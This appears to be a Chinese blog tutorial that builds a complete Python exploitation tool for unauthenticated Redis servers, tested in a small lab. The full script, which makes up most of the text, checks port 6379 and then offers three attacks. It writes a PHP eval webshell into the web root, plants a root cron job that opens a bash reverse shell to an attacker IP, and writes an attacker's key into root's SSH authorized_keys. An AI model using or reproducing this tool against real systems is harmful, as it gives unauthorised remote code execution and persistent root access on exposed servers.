之前介绍过Redis未授权访问漏洞，本文使用python实现Redis未授权访问检测以及对应三种getshell。

1 测试环境准备

CentOS 7（192.168.198.66/24）：安装 Redis 服务器并用 root 权限开启服务，关闭保护模式；安装并开启 httpd 服务；开启 ssh 服务。

Kali（192.168.198.172/24）：测试脚本效果，模拟攻击机。

Win10：VS Code开发脚本，Xshell控制虚拟机。

2 未授权访问检测

首先需要检测 6379 端口是否开启，直接使用 socket 连接测试即可，is_port_open() 函数实现检测端口开启情况。

def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()

 然后尝试连接 Redis 服务器，这里用到redis模块中的StrictRedis(host,port,socket_timeout)，通过client_list() 方法获取客户列表查看是否连接成功。如果成功连接到 Redis 服务器， client_list() 的调用就不会抛出异常。

try:
    client = redis.StrictRedis(host=ip, port=port, socket_timeout=0.3)
    ok_lst = client.client_list()
    print('[+] Connected to the Redis server successfully...')
except Exception as e:
    print(f'[-] An unexpected error occurred: {e}')

3 写入webshell

Redis命令：

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save

对应的 redis 模块的方法：

client.config_set('dir','/var/www/html')
client.config_set('dbfilename','shell.php')
client.set('x','<?php @eval($_POST[123]); ?>')
client.save()

增加设置根目录一句话木马名称和密码功能：

def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")

4 建立反弹连接

同理，这里利用定时任务实现反弹连接。先设置 Redis 数据库目录到系统定时任务目录，名字设置为 root （相当于修改 root 用户的定时任务），增加用户设定 IP 和端口监听功能。

def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")

5 SSH keys 免密登录

把 Redis 的目录设置为 /root/.ssh，保存文件为 authorized_keys，实现在靶机中 authorized_keys 写入攻击者 ssh 公钥。

def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")

5 完整代码

import numpy as np
import socket
import redis
import sys
def Hello_FK_Redis():
    a,b=60,30
    x,y,r=30,15,13
    img=np.zeros((b,a),dtype=str)
    for i in range(b):
        for j in range(a):
            dist=np.sqrt((i-y)**2+(j-x)**2)
            if r-1<dist<r+1: img[i,j]='*'
            elif abs(j-x)<1 and dist<r: img[i,j]='|'
            elif abs(i-y)<1 and dist<r: img[i,j]='-'
    img[img=='']=' '
    for i in img: print(''.join(i))
    print('----Welcome to use Redis Vulnerability Exploitation Tool----')
def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()
def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")

def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        ip=ip.strip()
        port=port.strip()
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")
def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")
if __name__ == '__main__':
    Hello_FK_Redis()
    ip=input('Please enter the target machine\'s IP address: ')
    port=6379
    if is_port_open(ip,port):
        print('[+] Port 6379 is open...')
        print('[*] Trying to connect Redis server...')
        try:
            client=redis.StrictRedis(host=ip,port=port,socket_timeout=0.3)
            ok_lst=client.client_list()
            print('[+] Connected to the Redis server successfully...')
            print('Please choose the exploit method you want to use:\nEnter 1 for webshell\nEnter 2 for establishing a reverse connection\nEnter 3 for SSH key-based authentication\nOr any other character to exit...')
            try:
                c=int(input())
                if c==1: Webshell(client)
                elif c==2: Reverse(client)
                elif c==3: Ssh(client)
                else: 
                    print('[*] Exiting...')
                    sys.exit()
            except Exception:
                print('[*] Exiting...')
                sys.exit()
        except Exception as e:
            print(f'[-] An unexpected error occurred: {e}')

    else:
        print('[-] Port 6379 is not open...')

6 测试效果

webshell

 

反弹连接

监听端口：7777

 下面输入攻击机端口保证与监听的攻击机和端口一致：

 

 免密登录

在 kali 中 .ssh 复制公钥 id_rsa.pub 的内容

 免密登录：